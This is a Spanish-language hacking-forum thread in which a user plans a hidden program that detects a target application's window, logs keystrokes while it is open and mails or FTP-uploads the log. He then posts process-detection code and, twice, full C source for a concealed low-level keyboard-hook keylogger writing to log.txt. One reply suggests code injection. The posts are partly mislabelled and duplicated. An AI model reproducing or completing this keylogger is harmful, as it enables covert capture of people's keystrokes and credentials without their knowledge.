elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Captura de datos, cuando , (determinado momento)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Captura de datos, cuando , (determinado momento)  (Leído 3,366 veces)
c3r0x

Desconectado Desconectado

Mensajes: 70


http://imagizer.imageshack.us/v2/800x600q90/809/lt


Ver Perfil
Captura de datos, cuando , (determinado momento)
« en: 23 Febrero 2014, 06:19 am »

Ola comunidad, tengo una duda con respecto, umm digamolo asi, a la arquitectura de un programa, que tengoen mente pero dudo si es posible o no, por eso acudo a uds, para q resuelvan mi duda,

el proposito principal del programa es el siguiente,

1.ejecutarce ocultamente, y estar a la espera
2.detectar xxx.exe proceso
3.interceptar con nombre xxx una subventada del proceso xxx.exe
4.prender modo captura keylogger on
5.verifica cuando la subventana xxx es cerrada
6.detener la captura de datos keylogger
7.mandar datos obtenidos por correo o email
8.fin del programa

este seria el esqueleto , del programa

2paso . luego a la espera, hacechando su presa, un programa "otro programa ejecutado previamente, puede ser una aplicacion cualquiera como ejemplo " una vez el programa es ejecutado, mi programa la intercepta

3páso.verifica "si es posible" por el nombre de la ventana, ej: abres el programa presa, digamos que es un programa , dentro del programa, das clicl  en un boton y este conduce a una subventana del programa con otras respectivas opciones es decir, PROGRAMA COMPLETO EJECUTADO-ABRIR BOTON-ABRE SUBVENTANA DE EL PROGRAMA

4.una vez detectada esta subventana, mi programa espia, comienza a capturar, datos, como snifer, en ese determinado tiempo,  pongamolo en un modo entendible.

Código:
*MY PROGRAMA
     -A LA ESPERA DEL PROGRAMA PRESA .
                SI EL PROCESO XXX.EXE ES EJECUTADO
                       ENTONCES [ESPERA Y VERIFICA VENTANA PRESA CON NOMBRE XXX DEL PROCESO XXX.EXE]
                        SI ES [EMPEZAR A CAPTURAR DATOS]
                               *VERIFICA CONSTANTEMENTE SI LA VENTANA PRESA FUE CERRADA
                                         ENTONCES [TERMINE DE CAPTURAR DATOS]
                                               Y LUEGO [GENERAR UN TXT Y MANDARLO POR CORREO O SUBIRLO VIA FTP A UN SERVIDOR ]

FIN DEL PROGRAMA
                                                  





« Última modificación: 23 Febrero 2014, 17:20 pm por c3r0x » En línea

xaps

Desconectado Desconectado

Mensajes: 157



Ver Perfil
Re: Captura de datos, cuando , (determinado momento)
« Respuesta #1 en: 23 Febrero 2014, 13:46 pm »

Esto no va aquí. Esto debería ir al subforo de Diseño de Malware.

Saludos


En línea

"The programmers of tomorrow are the wizards of the future" - Gave Newel
c3r0x

Desconectado Desconectado

Mensajes: 70


http://imagizer.imageshack.us/v2/800x600q90/809/lt


Ver Perfil
Re: Captura de datos, cuando , (determinado momento)
« Respuesta #2 en: 23 Febrero 2014, 14:38 pm »

realmente yo no lo veo como un malware, solo es un programa por fun
En línea

amchacon


Desconectado Desconectado

Mensajes: 1.211



Ver Perfil
Re: Captura de datos, cuando , (determinado momento)
« Respuesta #3 en: 23 Febrero 2014, 15:17 pm »

Teóricamente sí, en la práctica dudo que un SO que puedas hacerlo al 100% sin encontrarte trabas. Además, ¿como descifras el mogollón de datos?
En línea

Por favor, no me manden MP con dudas. Usen el foro, gracias.

¡Visita mi programa estrella!

Rar File Missing: Esteganografía en un Rar
xaps

Desconectado Desconectado

Mensajes: 157



Ver Perfil
Re: Captura de datos, cuando , (determinado momento)
« Respuesta #4 en: 23 Febrero 2014, 15:25 pm »

Venga hombre, que no nací ayer. De todas maneras, aun sin considerarlo malware seguiría estando en un subforo incorrecto (Su subforo sería Programación general).

Teóricamente sí, en la práctica dudo que un SO que puedas hacerlo al 100% sin encontrarte trabas. Además, ¿como descifras el mogollón de datos?
Creo que sería más fácil mediante inyección de código. De esta manera te aseguras que los datos que recibes son estrictamente únicos del "target".
En línea

"The programmers of tomorrow are the wizards of the future" - Gave Newel
c3r0x

Desconectado Desconectado

Mensajes: 70


http://imagizer.imageshack.us/v2/800x600q90/809/lt


Ver Perfil
Re: Captura de datos, cuando , (determinado momento)
« Respuesta #5 en: 23 Febrero 2014, 15:53 pm »

Venga hombre, que no nací ayer. De todas maneras, aun sin considerarlo malware seguiría estando en un subforo incorrecto (Su subforo sería Programación general).
Creo que sería más fácil mediante inyección de código. De esta manera te aseguras que los datos que recibes son estrictamente únicos del "target".

y si yo lo quiero programar en C/C++ ? creo q olvidaste esa probavilidad, ahora , tecnicamente, cual seria la ruta mas facil
En línea

xaps

Desconectado Desconectado

Mensajes: 157



Ver Perfil
Re: Captura de datos, cuando , (determinado momento)
« Respuesta #6 en: 23 Febrero 2014, 16:17 pm »

y si yo lo quiero programar en C/C++ ? creo q olvidaste esa probavilidad, ahora , tecnicamente, cual seria la ruta mas facil
¿Dónde lo pone? :) Si no me equivoco, estás preguntando si es posible realizar una aplicación con ese esquema, no estás pidiendo ayuda concreta sobre una función o un fragmento de código en C++. Revísate las normas del foro, haz el favor.

Y la ruta más fácil depende de muchas variables, entre ellas la aplicación que tengas como objetivo (Y que sea la más fácil no significa que sea la más eficaz). Si quieres una ayuda más técnica tendrás que ser más preciso en tus explicaciones. Yo he nombrado la inyección de código por el problema que planteaba amchacon, pero muy probablemente haya mejores técnicas y métodos para hacerlo.
En línea

"The programmers of tomorrow are the wizards of the future" - Gave Newel
c3r0x

Desconectado Desconectado

Mensajes: 70


http://imagizer.imageshack.us/v2/800x600q90/809/lt


Ver Perfil
Re: Captura de datos, cuando , (determinado momento)
« Respuesta #7 en: 23 Febrero 2014, 17:05 pm »

¿Dónde lo pone? :) Si no me equivoco, estás preguntando si es posible realizar una aplicación con ese esquema, no estás pidiendo ayuda concreta sobre una función o un fragmento de código en C++. Revísate las normas del foro, haz el favor.

Y la ruta más fácil depende de muchas variables, entre ellas la aplicación que tengas como objetivo (Y que sea la más fácil no significa que sea la más eficaz). Si quieres una ayuda más técnica tendrás que ser más preciso en tus explicaciones. Yo he nombrado la inyección de código por el problema que planteaba amchacon, pero muy probablemente haya mejores técnicas y métodos para hacerlo.

bueno si lo postie, aqui , fue por una razon, no por jugar al tin marin, busque un poco en la red y encontre lo siguientes datos

encontre esto

basicamente, la aplicacion detecta un  proceso en ejecucion,

PASO #1

Código:
#include <vdmdbg.h>

String Server = "xxxx.exe";
bool Conectado = IsRuningW(Server.c_str()) ;
 
bool IsRunning16_(char* Name)
{
  struct TRuningProcess16{
    char* Name;
    bool Running;
 
 
    static BOOL WINAPI
    ProcessTasks(DWORD dwThreadId, WORD hMod16, WORD hTask16, PSZ pszModName, PSZ pszFileName, LPARAM PE)
    {
       if(strstr(strupr(pszFileName), strupr(((TRuningProcess16*)PE)->Name)))
          return ((TRuningProcess16*)PE)->Running = true;
       return false;
    }
    static BOOL WINAPI
    ProcessVDMs(DWORD dwProcessId, DWORD dwAttrib, LPARAM PE)
    {
       VDMEnumTaskWOWEx(dwProcessId, (TASKENUMPROCEX)ProcessTasks, PE);
       return ((TRuningProcess16*)PE)->Running;
    }
 
  } PE = {Name,0};
 
  VDMEnumProcessWOW((PROCESSENUMPROC)ProcessVDMs, (LPARAM)&PE);
  return PE.Running;
}


primer paso echo.

seguire editando segun vaya encontrando los paso a paso

SIGO..

PASO#2
Código:
/*
 * Código presentado por Elinv.
 * Captura una ventana por su caption y le envia datos.
 * Hotkey para finalizar un programa
 * CODE BLOCK 10.05 -
 * Win32 GUI project -> tipo Frame Based
 */

Código:
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <string.h>
 
// global hook handle is needed to use a low-level keyboard hook
HHOOK hProc;
 
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam);
DWORD __stdcall Keylogger (LPVOID path);
void MessageLoop (void);
 
int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
 
FreeConsole ();
nShowCmd = SW_HIDE;
LPTSTR execName = GetCommandLine ();
HANDLE hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) Keylogger, (LPVOID) execName, 0, NULL);
 
if (hThread) return WaitForSingleObject (hThread, INFINITE);
 
return 1;
}
 
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam) {
 
if (nCode == HC_ACTION && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)) {
 
// info about the key like the virtual-key code, scan code, some flags, time of the message and extra info
KBDLLHOOKSTRUCT keyInfo = *((KBDLLHOOKSTRUCT*) lParam);
 
// prepare the first parameter for the function GetKeyNameText() picking only the important information
DWORD keyMessage = 1;
keyMessage |= keyInfo.scanCode << 16;
keyMessage |= (keyInfo.flags & 1) << 24;
 
// load the key name in a buffer
char keyName[0x100];
memset (keyName, 0, 0x100);
keyName[0] = '[';
int i = GetKeyNameText (keyMessage, keyName+1, 0xFE);
keyName[i+1] = ']';
 
// write the buffer in file
FILE *f = fopen ("log.txt", "a+");
fputs (keyName, f);
fclose (f);
}
 
return CallNextHookEx (NULL, nCode, wParam, lParam);
}
 
DWORD __stdcall Keylogger (LPVOID path) {
 
// try to get a module handle for our executable using GetModuleHandle(). if fails, we try to load our executable as a library.
HINSTANCE hExec = GetModuleHandle (NULL);
if (!hExec) hExec = LoadLibrary ((LPCTSTR) path);
 
// two methods failed so return error
if (!hExec) return 1;
 
// install the hook
hProc = SetWindowsHookEx (WH_KEYBOARD_LL, (HOOKPROC) KeyEvent, hExec, 0);
 
// message loop to manage all the incoming messages
MessageLoop ();
UnhookWindowsHookEx (hProc);
return 0;
}
 
void MessageLoop (void) {
 
MSG message;
 
while (GetMessage (&message, NULL, 0, 0)) {
 
TranslateMessage (&message);
DispatchMessage (&message);
}
}
 

PASO #4 PRENDER CAPTURA MODO KEYLOGGER ON

Código:
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <string.h>
 
// global hook handle is needed to use a low-level keyboard hook
HHOOK hProc;
 
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam);
DWORD __stdcall Keylogger (LPVOID path);
void MessageLoop (void);
 
int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
 
FreeConsole ();
nShowCmd = SW_HIDE;
LPTSTR execName = GetCommandLine ();
HANDLE hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) Keylogger, (LPVOID) execName, 0, NULL);
 
if (hThread) return WaitForSingleObject (hThread, INFINITE);
 
return 1;
}
 
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam) {
 
if (nCode == HC_ACTION && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)) {
 
// info about the key like the virtual-key code, scan code, some flags, time of the message and extra info
KBDLLHOOKSTRUCT keyInfo = *((KBDLLHOOKSTRUCT*) lParam);
 
// prepare the first parameter for the function GetKeyNameText() picking only the important information
DWORD keyMessage = 1;
keyMessage |= keyInfo.scanCode << 16;
keyMessage |= (keyInfo.flags & 1) << 24;
 
// load the key name in a buffer
char keyName[0x100];
memset (keyName, 0, 0x100);
keyName[0] = '[';
int i = GetKeyNameText (keyMessage, keyName+1, 0xFE);
keyName[i+1] = ']';
 
// write the buffer in file
FILE *f = fopen ("log.txt", "a+");
fputs (keyName, f);
fclose (f);
}
 
return CallNextHookEx (NULL, nCode, wParam, lParam);
}
 
DWORD __stdcall Keylogger (LPVOID path) {
 
// try to get a module handle for our executable using GetModuleHandle(). if fails, we try to load our executable as a library.
HINSTANCE hExec = GetModuleHandle (NULL);
if (!hExec) hExec = LoadLibrary ((LPCTSTR) path);
 
// two methods failed so return error
if (!hExec) return 1;
 
// install the hook
hProc = SetWindowsHookEx (WH_KEYBOARD_LL, (HOOKPROC) KeyEvent, hExec, 0);
 
// message loop to manage all the incoming messages
MessageLoop ();
UnhookWindowsHookEx (hProc);
return 0;
}
 
void MessageLoop (void) {
 
MSG message;
 
while (GetMessage (&message, NULL, 0, 0)) {
 
TranslateMessage (&message);
DispatchMessage (&message);
}
}
 
« Última modificación: 23 Febrero 2014, 17:26 pm por c3r0x » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines